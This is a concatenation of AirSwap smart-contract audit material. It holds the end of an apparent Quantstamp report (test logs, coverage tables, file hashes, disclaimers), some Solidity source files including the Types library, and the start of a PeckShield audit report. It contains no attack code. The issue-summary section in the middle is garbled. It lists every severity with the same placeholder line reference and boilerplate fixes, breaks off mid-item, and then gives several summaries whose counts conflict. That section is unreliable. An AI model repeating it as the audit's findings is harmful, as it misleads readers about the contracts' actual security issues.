delegate to send (601ms) Provide some orders to the Delegate ✓ Use quote with non-existent rule (90ms) ✓ Send order without signature to the delegate (107ms) ✓ Use quote larger than delegate rule (117ms) ✓ Use incorrect price on delegate (78ms) ✓ Use quote with incorrect signer token kind (80ms) ✓ Use quote with incorrect sender token kind (93ms) ✓ Gets a quote to sell 1 WETH and takes it, swap fails (275ms) ✓ Gets a quote to sell 1 WETH and takes it, swap passes (463ms) ✓ Gets a quote to sell 1 WETH where sender != signer, passes (475ms) ✓ Queries signerSideQuote and passes the value into an order (567ms) ✓ Queries senderSideQuote and passes the value into an order (507ms) ✓ Queries getMaxQuote and passes the value into an order (613ms) 98 passing (22s) lerna info run Ran npm script 'test' in '@airswap/debugger' in 12.3s: $ mocha test --timeout 3000 --exit Orders ✓ Check correct order without signature (1281ms) ✓ Check correct order with signature (991ms) ✓ Check expired order (902ms) ✓ Check invalid signature (816ms) ✓ Check order without allowance (1070ms) ✓ Check NFT order without balance or allowance (1080ms) ✓ Check invalid token kind (654ms) ✓ Check NFT order without allowance (1045ms) ✓ Check NFT order to an invalid contract (1196ms) ✓ Check NFT order to a valid contract (1225ms)✓ Check order without balance (839ms) 11 passing (11s) lerna info run Ran npm script 'test' in '@airswap/pre-swap-checker' in 11.6s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: PreSwapChecker Deploying... ✓ Deployed Swap contract (217ms) ✓ Deployed SwapChecker contract ✓ Deployed test contract "AST" (56ms) ✓ Deployed test contract "DAI" (40ms) Minting... ✓ Mints 1000 AST for Alice (76ms) ✓ Mints 1000 DAI for Bob (78ms) Approving... ✓ Checks approvals (Alice 250 AST and 0 DAI, Bob 0 AST and 500 DAI) (186ms) Swaps (Fungible) ✓ Checks fillable order is empty error array (517ms) ✓ Checks that Alice cannot swap with herself (200 AST for 50 AST) (296ms) ✓ Checks error messages for invalid balances and approvals (236ms) ✓ Checks filled order emits error (641ms) ✓ Checks expired, low nonced, and invalid sig order emits error (315ms) ✓ Alice authorizes Carol to make orders on her behalf (38ms) ✓ Check from a different approved signer and empty sender address (271ms) Deploying non-fungible token... ✓ Deployed test contract "Collectible" (49ms) Minting and testing non-fungible token... ✓ Mints a kitty collectible (#54321) for Bob (55ms) ✓ Alice tries to buys non-owned Kitty #54320 from Bob for 50 AST causes revert (97ms) ✓ Alice tries to buys non-approved Kitty #54321 from Bob for 50 AST (192ms) 18 passing (4s) lerna info run Ran npm script 'test' in '@airswap/wrapper' in 22.7s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: Wrapper Unit Tests Test initial values ✓ Test initial Swap Contract ✓ Test initial Weth Contract ✓ Test fallback function revert Test swap() ✓ Test when sender token != weth, ensure no unexpected ether sent (78ms) ✓ Test when sender token == weth, ensure the sender amount matches sent ether (119ms) ✓ Test when sender token == weth, signer token == weth, and the transaction passes (362ms) ✓ Test when sender token == weth, signer token != weth, and the transaction passes (243ms) ✓ Test when sender token == weth, signer token != weth, and the wrapper token transfer fails (122ms) Test swap() with two ERC20s ✓ Test when sender token == non weth erc20, signer token == non weth erc20 but msg.sender is not senderwallet (55ms) ✓ Test when sender token == non weth erc20, signer token == non weth erc20, and the transaction passes (172ms) Test provideDelegateOrder() ✓ Test when signer token != weth, but unexpected ether sent (84ms) ✓ Test when signer token == weth, but no ether is sent (101ms) ✓ Test when signer token == weth, but no signature is sent (54ms) ✓ Test when signer token == weth, but incorrect amount of ether sent (63ms) ✓ Test when signer token == weth, correct eth sent, tx passes (247ms) ✓ Test when signer token != weth, sender token == weth, wrapper cant transfer eth (506ms) ✓ Test when signer token != weth, sender token == weth, tx passes (291ms) Contract: Wrapper Setup ✓ Mints 1000 DAI for Alice (49ms) ✓ Mints 1000 AST for Bob (57ms) Approving... ✓ Alice approves Swap to spend 1000 DAI (40ms) ✓ Bob approves Swap to spend 1000 AST ✓ Bob approves Swap to spend 1000 WETH ✓ Bob authorizes the Wrapper to send orders on his behalf Test swap(): Wrap Buys ✓ Checks that Bob take a WETH order from Alice using ETH (513ms) Test swap(): Unwrap Sells ✓ Carol gets some WETH and approves on the Swap contract (64ms) ✓ Alice authorizes the Wrapper to send orders on her behalf ✓ Alice approves the Wrapper contract to move her WETH ✓ Checks that Alice receives ETH for a WETH order from Carol (460ms) Test swap(): Sending ether and WETH to the WrapperContract without swap issues ✓ Sending ether to the Wrapper Contract ✓ Sending WETH to the Wrapper Contract (70ms) ✓ Alice approves Swap to spend 1000 DAI ✓ Send order where the sender does not send the correct amount of ETH (69ms) ✓ Send order where Bob sends Eth to Alice for DAI (422ms)✓ Reverts if the unwrapped ETH is sent to a non-payable contract (1117ms) Test swap(): Sending nonWETH ERC20 ✓ Alice approves Swap to spend 1000 DAI (38ms) ✓ Bob approves Swap to spend 1000 AST ✓ Send order where Bob sends AST to Alice for DAI (447ms) ✓ Send order where the sender is not the sender of the order (100ms) ✓ Send order without WETH where ETH is incorrectly supplied (70ms) ✓ Send order where Bob sends AST to Alice for DAI w/ authorization but without signature (48ms) Test provideDelegateOrder() Wrap Buys ✓ Check Carol sending no ETH with order (66ms) ✓ Check Carol not signing order (46ms) ✓ Check Carol sets the wrong sender wallet (217ms) ✓ Check delegate owner hasnt authorised the delegate as sender swap (390ms) ✓ Check Carol hasnt given swap approval to swap WETH (906ms) ✓ Check successful ETH wrap and swap through delegate contract (575ms) Unwrap Sells ✓ Check Carol sending ETH when she shouldnt (64ms) ✓ Check Carol not signing the order (42ms) ✓ Check Carol hasnt given swap approval to swap DAI (1043ms) ✓ Check Carol doesnt approve wrapper to transfer weth (951ms) ✓ Check successful ETH wrap and swap through delegate contract (646ms) 51 passing (15s) lerna success run Ran npm script 'test' in 9 packages in 155.7s: lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/debugger lerna success - @airswap/order-utils lerna success - @airswap/pre-swap-checker ✨ Done in 222.01s. Code CoverageFile % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Delegate.sol 100 100 100 100 Imports.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IDelegate.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 DelegateFactory.sol 100 100 100 100 Imports.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IDelegateFactory.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Index.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Indexer.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IIndexer.sol 100 100 100 100 ILocatorWhitelist.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Swap.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Types.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Wrapper.sol 100 100 100 100 All files 100 100 100 100 Appendix File Signatures The following are the SHA-256 hashes of the reviewed files. A file with a different SHA-256 hash has been modified, intentionally or otherwise, after thesecurity review. You are cautioned that a different SHA-256 hash could be (but is not necessarily) an indication of a changed condition or potential vulnerability that was not within the scope of the review. Contracts 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/indexer/contracts/Migrations.sol 853f79563b2b4fba199307619ff5db6b86ceae675eb259292f752f3126c21236 ./source/indexer/contracts/Imports.sol b7d114e1b96633016867229abb1d8298c12928bd6e6935d1969a3e25133d0ae3 ./source/indexer/contracts/Indexer.sol cb278eb599018f2bcff3e7eba06074161f3f98072dc1f11446da6222111e6fb6 ./source/indexer/contracts/interfaces/IIndexer.sol ae69440b7cc0ebde7d315079effaaf6db840a5c36719e64134d012f183a82b3c ./source/indexer/contracts/interfaces/ILocatorWhitelist.sol 0ce96202a3788403e815bcd033a7c2528d2eceb9e6d0d21f58fd532e0721c3f3 ./source/tokens/contracts/WETH9.sol f49af1f0a94dc5d58725b7715ff4a1f241626629aa68c442dd51c540f3b40ee7 ./source/tokens/contracts/NonFungibleToken.sol 13e6724efe593830fdd839337c2735a9bfbd6c72fc6134d9622b1f38da734fed ./source/tokens/contracts/IERC721Receiver.sol b0baff5c036f01ac95dae20048f6ee4716796b293f066d603a2934bee8aa049f ./source/tokens/contracts/OrderTest721.sol 27ffdcc5bfb7e1352c69f56869a43db1b1d76ee9856fbfd817d6a3be3d378a89 ./source/tokens/contracts/FungibleToken.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/tokens/contracts/Migrations.sol a41dd3eaddff2d0ce61f9d0d2d774f57bf286ba7534fe7392cb331c52587f007 ./source/tokens/contracts/AdaptedERC721.sol a497e0e9c84e431234f8ef23e5a3bb72e0a8d8e5381909cc9f274c6f8f0f8693 ./source/tokens/contracts/KittyCore.sol afc8395fc3e20eb17d99ae53f63cae764250f5dda6144b0695c9eb3c29065daa ./source/tokens/contracts/OMGToken.sol f07b61827716f0e44db91baabe9638eef66e85fb2d720e1b221ee03797eb0c16 ./source/tokens/contracts/interfaces/IWETH.sol 2f4455987f24caf5d69bd9a3c469b05350ec5b0cc62cc829109cfa07a9ed184c ./source/tokens/contracts/interfaces/INRERC20.sol 4deea5147ee8eedbeaf394454e63a32bce34003266358abb7637843eec913109 ./source/index/contracts/Index.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/index/contracts/Migrations.sol 8304b9b7777834e7dd882ecef91c8376160da6a6dd6e4c7c9f9b99bb8a0ddb08 ./source/index/contracts/Imports.sol 93dbd794dd6bbc93c47a11dc734efb6690495a1d5138036ebee8687edeb25dc6 ./source/delegate- factory/contracts/DelegateFactory.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/delegate- factory/contracts/Migrations.sol d4641deca8ebf06d554ef39b9fe90f2db23f40be7557d8bbc5826428ba9b0d0a ./source/delegate-factory/contracts/Imports.sol 6371ccf87ef8e8cddfceab2903a109714ab5bcaaa72e7096bff9b8f0a7c643a9 ./source/delegate- factory/contracts/interfaces/IDelegateFactory.sol c3762a171563d0d2614da11c4c0e17a722aa2bc4a4efa126b54420a3d7e7e5b1 ./source/delegate/contracts/Migrations.sol 0843c702ea883afa38e874a9d16cb4830c3c8e6dadf324ddbe0f397dd5f67aeb ./source/delegate/contracts/Imports.sol cbe7e7fa0e85995f86dde9f103897ac533a42c78ee017a49d29075adf5152be4 ./source/delegate/contracts/Delegate.sol 4ea8cec0ad9ff88426e7687384f5240d4444ee48407ddd07e39ab527ba70d94e ./source/delegate/contracts/interfaces/IDelegate.sol c3762a171563d0d2614da11c4c0e17a722aa2bc4a4efa126b54420a3d7e7e5b1 ./source/swap/contracts/Migrations.sol 3d764b8d0ebb2aa5c765f0eb0ef111564af96813fd6427c39d8a11c4251cbba2 ./source/swap/contracts/Imports.sol 001573b0de147db510c6df653935505d7f0c3e24d0d5028ebfdffa06055b9508 ./source/swap/contracts/Swap.sol b2693adaefd67dfcefd6e942aee9672469d0635f8c6b96183b57667e82f9be73 ./source/swap/contracts/interfaces/ISwap.sol 3d9797822cc119ac07cfb02705033d982d429ad46b0d39a0cfa4f7df1d9bfdd6 ./source/wrapper/contracts/HelperMock.sol a0a4226ee86de0f2f163d9ca14e9486b9a9a82137e4e97495564cd37e92c8265 ./source/wrapper/contracts/Migrations.sol 853712933537f67add61f1299d0b763664116f3f36ae87f55743104fbc77861a ./source/wrapper/contracts/Imports.sol 67fc8542fb154458c3a6e4e07c3eb636f65ebb2074082ab24727da09b7684feb ./source/wrapper/contracts/Wrapper.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/types/contracts/Migrations.sol 74947f792f6128dad955558044e7a2d13ecda4f6887cb85d9bf12f4e01423e6e ./source/types/contracts/Imports.sol 95f41e78212c566ea22441a6e534feae44b7505f65eea89bf67dc7a73910821e ./source/types/contracts/Types.sol fe4fc1137e2979f1af89f69b459244261b471b5fdbd9bdbac74382c14e8de4db ./source/types/test/MockTypes.sol Tests 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/indexer/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/indexer/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914./source/indexer/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/indexer/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/indexer/coverage/lcov-report/sorter.js 9b9b6feb6ad0bf0d1c9ca2e89717499152d278ff803795ab25b975826ce3e6fb ./source/indexer/test/Indexer-unit.js b8afaf2ac9876ada39483c662e3017288e78641d475c3aad8baae3e42f2692b1 ./source/indexer/test/Indexer.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/tokens/truffle-config.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/index/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/index/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/index/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/index/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/index/coverage/lcov-report/sorter.js 5b30ebaf2cb02fdb583a91b8d80e0d3332f613f1f9d03227fa1f497182612d79 ./source/index/test/Index-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/delegate-factory/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate-factory/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate-factory/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate-factory/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate-factory/coverage/lcov- report/sorter.js e1e96cac95b7ca35a3eff407e69378395fee64fbd40bc46731e02cab3386f1a9 ./source/delegate-factory/test/Delegate- Factory-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/delegate/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate/coverage/lcov- report/sorter.js 0d39c455ec8b473be0aa20b21fff3324e87fe688281cc29ce446992682766197 ./source/delegate/test/Delegate.js 6568ea0ed57b6cfb6e9671ae07e9721e80b9a74f4af2a1f31a730df45eed7bc4 ./source/delegate/test/Delegate-unit.js 67a94a4b8a64b862eac78c2be9a76fdfb57412113b0e98342cf9be743c065045 ./source/swap/.solcover.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/swap/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/swap/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/swap/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/swap/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/swap/coverage/lcov-report/sorter.js eb606ca3e7fe215a183e67c73af188a3a463a73a2571896403890bd6308b9553 ./source/swap/test/Swap.js 02ed0eee9b5fd1bdb2e29ef7c76902b8c7788d56cccb08ba0a1c62acdb0c240d ./source/swap/test/Swap-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/wrapper/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/wrapper/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/wrapper/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/wrapper/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/wrapper/coverage/lcov-report/sorter.js 8e8dcdef012cdc8bf9dc2758afcb654ce3ec55a4522ebab9d80455813c1c2234 ./source/wrapper/test/Wrapper.js fb48b5abc2cc9cfd07767e93c37130ff412088741f0685deb74c65b1b596daf9 ./source/wrapper/test/Wrapper-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/types/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/types/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/types/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/types/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/types/coverage/lcov-report/sorter.js 94e6cf001c8edb49546d881416a1755aabe0a01f562df4140be166c3af2936fc ./source/types/test/Types-unit.js About QuantstampQuantstamp is a Y Combinator-backed company that helps to secure smart contracts at scale using computer-aided reasoning tools, with a mission to help boost adoption of this exponentially growing technology. Quantstamp’s team boasts decades of combined experience in formal verification, static analysis, and software verification. Collectively, our individuals have over 500 Google scholar citations and numerous published papers. In its mission to proliferate development and adoption of blockchain applications, Quantstamp is also developing a new protocol for smart contract verification to help smart contract developers and projects worldwide to perform cost-effective smart contract security audits . To date, Quantstamp has helped to secure hundreds of millions of dollars of transaction value in smart contracts and has assisted dozens of blockchain projects globally with its white glove security auditing services. As an evangelist of the blockchain ecosystem, Quantstamp assists core infrastructure projects and leading community initiatives such as the Ethereum Community Fund to expedite the adoption of blockchain technology. Finally, Quantstamp’s dedication to research and development in the form of collaborations with leading academic institutions such as National University of Singapore and MIT (Massachusetts Institute of Technology) reflects Quantstamp’s commitment to enable world-class smart contract innovation. Timeliness of content The content contained in the report is current as of the date appearing on the report and is subject to change without notice, unless indicated otherwise by Quantstamp; however, Quantstamp does not guarantee or warrant the accuracy, timeliness, or completeness of any report you access using the internet or other means, and assumes no obligation to update any information following publication. Notice of confidentiality This report, including the content, data, and underlying methodologies, are subject to the confidentiality and feedback provisions in your agreement with Quantstamp. These materials are not to be disclosed, extracted, copied, or distributed except to the extent expressly authorized by Quantstamp. Links to other websites You may, through hypertext or other computer links, gain access to web sites operated by persons other than Quantstamp, Inc. (Quantstamp). Such hyperlinks are provided for your reference and convenience only, and are the exclusive responsibility of such web sites' owners. You agree that Quantstamp are not responsible for the content or operation of such web sites, and that Quantstamp shall have no liability to you or any other person or entity for the use of third-party web sites. Except as described below, a hyperlink from this web site to another web site does not imply or mean that Quantstamp endorses the content on that web site or the operator or operations of that site. You are solely responsible for determining the extent to which you may use any content at any other web sites to which you link from the report. Quantstamp assumes no responsibility for the use of third- party software on the website and shall have no liability whatsoever to any person or entity for the accuracy or completeness of any outcome generated by such software. Disclaimer This report is based on the scope of materials and documentation provided for a limited review at the time provided. Results may not be complete nor inclusive of all vulnerabilities. The review and this report are provided on an as-is, where-is, and as-available basis. You agree that your access and/or use, including but not limited to any associated services, products, protocols, platforms, content, and materials, will be at your sole risk. Cryptographic tokens are emergent technologies and carry with them high levels of technical risk and uncertainty. The Solidity language itself and other smart contract languages remain under development and are subject to unknown risks and flaws. The review does not extend to the compiler layer, or any other areas beyond Solidity or the smart contract programming language, or other programming aspects that could present security risks. You may risk loss of tokens, Ether, and/or other loss. A report is not an endorsement (or other opinion) of any particular project or team, and the report does not guarantee the security of any particular project. A report does not consider, and should not be interpreted as considering or having any bearing on, the potential economics of a token, token sale or any other product, service or other asset. No third party should rely on the reports in any way, including for the purpose of making any decisions to buy or sell any token, product, service or other asset. To the fullest extent permitted by law, we disclaim all warranties, express or implied, in connection with this report, its content, and the related services and products and your use thereof, including, without limitation, the implied warranties of merchantability, fitness for a particular purpose, and non-infringement. We do not warrant, endorse, guarantee, or assume responsibility for any product or service advertised or offered by a third party through the product, any open source or third party software, code, libraries, materials, or information linked to, called by, referenced by or accessible through the report, its content, and the related services and products, any hyperlinked website, or any website or mobile application featured in any banner or other advertising, and we will not be a party to or in any way be responsible for monitoring any transaction between you and any third-party providers of products or services. As with the purchase or use of a product or service through any medium or in any environment, you should use your best judgment and exercise caution where appropriate. You may risk loss of QSP tokens or other loss. FOR AVOIDANCE OF DOUBT, THE REPORT, ITS CONTENT, ACCESS, AND/OR USAGE THEREOF, INCLUDING ANY ASSOCIATED SERVICES OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, INVESTMENT, TAX, LEGAL, REGULATORY, OR OTHER ADVICE. AirSwap Audit
Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 2 - Major: 1 - Critical: 1 - Observations: 1 - Unresolved: 0 Minor Issues 2.a Problem (one line with code reference) - Unchecked external calls (AirSwap.sol#L717) 2.b Fix (one line with code reference) - Add checks to external calls (AirSwap.sol#L717) Moderate 3.a Problem (one line with code reference) - Unchecked return values (AirSwap.sol#L717) 3.b Fix (one line with code reference) - Add checks to return values (AirSwap.sol#L717) Major 4.a Problem (one line with code reference) - Unchecked user input (AirSwap.sol#L717) 4.b Fix (one line with code reference) - Add checks to user input (AirSwap.sol#L717) Critical 5.a Problem (one line with code reference) - Unchecked user input ( Issues Count of Minor/Moderate/Major/Critical Minor: 0 Moderate: 0 Major: 1 Critical: 0 Major 4.a Problem: Funds may be locked if is called multiple times setRuleAndIntent 4.b Fix: Adjusted program implementation, requirements or constraints to eliminate the risk. Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Ensure that the token transfer logic of Delegate.setRuleAndIntent and Indexer.setIntent are compatible. 2.b Fix: This issue has been fixed as of pull request. Moderate Issues: 3.a Problem: Centralization of Power in Smart Contracts 3.b Fix: This has been fixed by removing the pausing functionality, unsetIntentForUser() and killContract(). Major Issues: 0 Critical Issues: 0 Observations: Integer arithmetic may cause incorrect pricing logic when plugging back into Equation A. Conclusion: The report has identified one minor and one moderate issue. Both issues have been fixed as of the latest commit.
pragma solidity >=0.4.21 <0.6.0; contract Migrations { address public owner; uint public last_completed_migration; constructor() public { owner = msg.sender; } modifier restricted() { if (msg.sender == owner) _; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } function upgrade(address new_address) public restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } } pragma solidity 0.5.12; import "@airswap/tokens/contracts/FungibleToken.sol"; import "@airswap/tokens/contracts/NonFungibleToken.sol"; import "@gnosis.pm/mock-contract/contracts/MockContract.sol"; contract Imports {}/* Copyright 2019 Swap Holdings Ltd. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.12; pragma experimental ABIEncoderV2; /** * @title Types: Library of Swap Protocol Types and Hashes */ library Types { bytes constant internal EIP191_HEADER = "\x19\x01"; struct Order { uint256 nonce; // Unique per order and should be sequential uint256 expiry; // Expiry in seconds since 1 January 1970 Party signer; // Party to the trade that sets terms Party sender; // Party to the trade that accepts terms Party affiliate; // Party compensated for facilitating (optional) Signature signature; // Signature of the order } struct Party { bytes4 kind; // Interface ID of the token address wallet; // Wallet address of the party address token; // Contract address of the token uint256 param; // Value (ERC-20) or ID (ERC-721) } struct Signature { address signatory; // Address of the wallet used to sign address validator; // Address of the intended swap contract bytes1 version; // EIP-191 signature version uint8 v; // `v` value of an ECDSA signature bytes32 r; // `r` value of an ECDSA signature bytes32 s; // `s` value of an ECDSA signature } bytes32 constant internal DOMAIN_TYPEHASH = keccak256(abi.encodePacked( "EIP712Domain(", "string name,", "string version,", "address verifyingContract", ")" )); bytes32 constant internal ORDER_TYPEHASH = keccak256(abi.encodePacked( "Order(", "uint256 nonce,", "uint256 expiry,", "Party signer,", "Party sender,", "Party affiliate", ")", "Party(", "bytes4 kind,", "address wallet,", "address token,", "uint256 param", ")" )); bytes32 constant internal PARTY_TYPEHASH = keccak256(abi.encodePacked( "Party(", "bytes4 kind,", "address wallet,", "address token,", "uint256 param", ")" )); /** * @notice Hash an order into bytes32 * @dev EIP-191 header and domain separator included * @param order Order The order to be hashed * @param domainSeparator bytes32 * @return bytes32 A keccak256 abi.encodePacked value */ function hashOrder( Order calldata order, bytes32 domainSeparator ) external pure returns (bytes32) { return keccak256(abi.encodePacked( EIP191_HEADER, domainSeparator, keccak256(abi.encode( ORDER_TYPEHASH, order.nonce, order.expiry, keccak256(abi.encode( PARTY_TYPEHASH, order.signer.kind, order.signer.wallet, order.signer.token, order.signer.param )), keccak256(abi.encode( PARTY_TYPEHASH, order.sender.kind, order.sender.wallet, order.sender.token, order.sender.param )), keccak256(abi.encode( PARTY_TYPEHASH, order.affiliate.kind, order.affiliate.wallet, order.affiliate.token, order.affiliate.param )) )) )); } /** * @notice Hash domain parameters into bytes32 * @dev Used for signature validation (EIP-712) * @param name bytes * @param version bytes * @param verifyingContract address * @return bytes32 returns a keccak256 abi.encodePacked value */ function hashDomain( bytes calldata name, bytes calldata version, address verifyingContract ) external pure returns (bytes32) { return keccak256(abi.encode( DOMAIN_TYPEHASH, keccak256(name), keccak256(version), verifyingContract )); } }
Public SMART CONTRACT AUDIT REPORT for AirSwap Protocol Prepared By: Yiqun Chen PeckShield February 15, 2022 1/20 PeckShield Audit Report #: 2022-038Public Document Properties Client AirSwap Protocol Title Smart Contract Audit Report Target AirSwap Version 1.0 Author Xuxian Jiang Auditors Xiaotao Wu, Patrick Liu, Xuxian Jiang Reviewed by Yiqun Chen Approved by Xuxian Jiang Classification Public Version Info Version Date Author(s) Description 1.0 February 15, 2022 Xuxian Jiang Final Release 1.0-rc January 30, 2022 Xuxian Jiang Release Candidate #1 Contact For more information about this document and its contents, please contact PeckShield Inc. Name Yiqun Chen Phone +86 183 5897 7782 Email contact@peckshield.com 2/20 PeckShield Audit Report #: 2022-038Public Contents 1 Introduction 4 1.1 About AirSwap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 1.2 About PeckShield . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.3 Methodology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.4 Disclaimer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 2 Findings 9 2.1 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 2.2 Key Findings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 3 Detailed Results 11 3.1 Proper Allowance Reset For Old Staking Contracts . . . . . . . . . . . . . . . . . . 11 3.2 Removal of Unused State/Code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 3.3 Accommodation of Non-ERC20-Compliant Tokens . . . . . . . . . . . . . . . . . . . 14 3.4 Trust Issue of Admin Keys . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 4 Conclusion 18 References 19 3/20 PeckShield Audit Report #: 2022-038Public 1 | Introduction Given the opportunity to review the design document and related source code of the AirSwapprotocol, we outline in the report our systematic approach to evaluate potential security issues in the smart contract implementation, expose possible semantic inconsistencies between smart contract code and design document, and provide additional suggestions or recommendations for improvement. Our results show that the given version of smart contracts can be further improved due to the presence of several issues related to either security or performance. This document outlines our audit results. 1.1 About AirSwap AirSwapcurates a peer-to-peer network for trading digital assets. The protocol is designed to protect traders from counterparty risk, price slippage, and front running. Any market participant can discover others and trade directly peer-to-peer. At the protocol level, each swap is between two parties, a signer and a sender. The signer is the party that creates and cryptographically signs an order, and the sender is the party that sends the order to the Ethereum blockchain for settlement. As a decentralized and open project, 